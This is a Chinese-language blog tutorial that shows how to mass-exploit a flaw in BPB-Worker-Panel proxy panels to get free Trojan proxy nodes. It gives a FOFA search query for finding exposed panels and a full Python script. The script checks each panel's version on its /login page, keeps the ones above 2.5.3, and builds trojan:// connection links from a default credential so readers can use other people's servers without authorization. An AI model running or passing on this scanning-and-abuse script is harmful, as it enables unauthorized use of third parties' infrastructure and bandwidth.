利用高于2.5.3版本的BPB-Worker-Panel面板漏洞,获取大量免费的Trojan节点

1. 前言

这个免费的代理节点主要是来自BPB-Worker-Panel 面板的漏洞利用,其实这个漏洞早就被爆出,但是开发者一直不在意,放任不管不修复,那大家就一起来欢乐吧…….. 纯属娱乐,也建议用户在其没有修复漏洞前不要再安装BPB-Worker-Panel 面板!

参考批量获取免费的VPN节点,用不完真用不完….. BPB-Worker-Panel 面板BUG利用!!-零度博客

2. 教程

2.1. 所需条件

  • 浏览器
  • Python
    • requests

安装下 Python 依赖库

1
pip install requests

2.2. 获取 BPB-Worker-Panel 面板网址

  1. 浏览器中打开 https://i.nosec.org/login 登录账号

  2. 打开 https://fofa.info/result?qbase64=aWNvbl9oYXNoPSItMTM1NDAyNzMxOSIgJiYgYXNuPSIxMzMzNSIgJiYgcG9ydD0iNDQzIg%3D%3D 下载为csv文件

2.3. 判断是否为指定BPB-Worker-Panel面板版本

将下载好的文件重命名为 input.txt(或在代码中直接修改为文件名),在同文件夹下新建py文件,粘贴以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from packaging import version
import requests

# 输入域名csv文件位置
input_file = "input.txt"
# 输出trojan结果文件位置
output_file = "trojan_urls.txt"
# cf优选域名
domain = "www.visa.com.sg"

def append_login_to_urls(input_file, output_file):
"""将地址加上 /login 并保存到新文件"""
print(f"正在处理 {input_file},将地址加上 /login 并保存到 {output_file}...")
with open(input_file, "r", encoding="utf-8") as infile, open(
output_file, "w", encoding="utf-8"
) as outfile:
for line in infile:
# 检查是否以http开头,并在第一个逗号处分割
if line.lower().startswith("http"):
url = line.split(",")[0].strip() + "/login"
outfile.write(url + "\n")
print(f"已完成地址追加,结果保存到 {output_file}")


def extract_version(html):
"""从 HTML 内容中提取 BPB Panel 的版本号"""
if "BPB Panel" in html:
start_index = html.find("BPB Panel")
# 提取版本号(假设版本号以 2 开头)
version_start = html.find("2", start_index)
version_end = version_start
while version_end < len(html) and (
html[version_end].isdigit() or html[version_end] == "."
):
version_end += 1
return html[version_start:version_end]
return None


def check_bpb_version(input_file, output_file):
"""访问地址并检查 BPB Panel 的版本号"""
print(f"正在验证 {input_file} 中的地址...")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
}
min_version = version.parse("2.5.3") # 最低版本号
with open(input_file, "r", encoding="utf-8") as infile, open(
output_file, "w", encoding="utf-8"
) as outfile:
for line in infile:
url = line.strip()
try:
response = requests.get(url, headers=headers, timeout=10)
if response.status_code == 200 and "BPB Panel" in response.text:
# 提取版本号
raw_version = extract_version(response.text)
if raw_version:
parsed_version = version.parse(raw_version)
if parsed_version > min_version:
print(f"[匹配] {url} (版本号: {parsed_version})")
outfile.write(url + "\n")
except Exception as e:
print(f"[错误] 无法访问 {url},错误:{e}")
print(f"验证完成,符合条件的地址保存到 {output_file}")


def composite_trojan(input_file, output_file):
"""合成 Trojan 地址"""
# 删去https://及/login
# 模板 trojan://[email protected]:443?security=tls&sni=这里填域名&fp=chrome&allowlnsecure=1&type=ws&host=这里填域名&path=%2Ftr%3Fed%3D2560#BPB
with open(input_file, "r", encoding="utf-8") as infile, open(
output_file, "w", encoding="utf-8"
) as outfile:
for line in infile:
url = line.strip()
url = url[8:-6]
trojan_url = f"trojan://bpb-trojan@{domain}:443?security=tls&sni={url}&fp=chrome&allowlnsecure=1&type=ws&host={url}&path=%2Ftr%3Fed%3D2560#{url}"
outfile.write(trojan_url + "\n")


if __name__ == "__main__":
append_login_to_urls(input_file, "bpb_urls.txt")
check_bpb_version("bpb_urls.txt", "bpb_urls_ok.txt")
composite_trojan("bpb_urls_ok.txt", output_file)

2.4. 导入 Trojan 节点

同文件夹下的 trojan_urls.txt 即为处理好的 Trojan 节点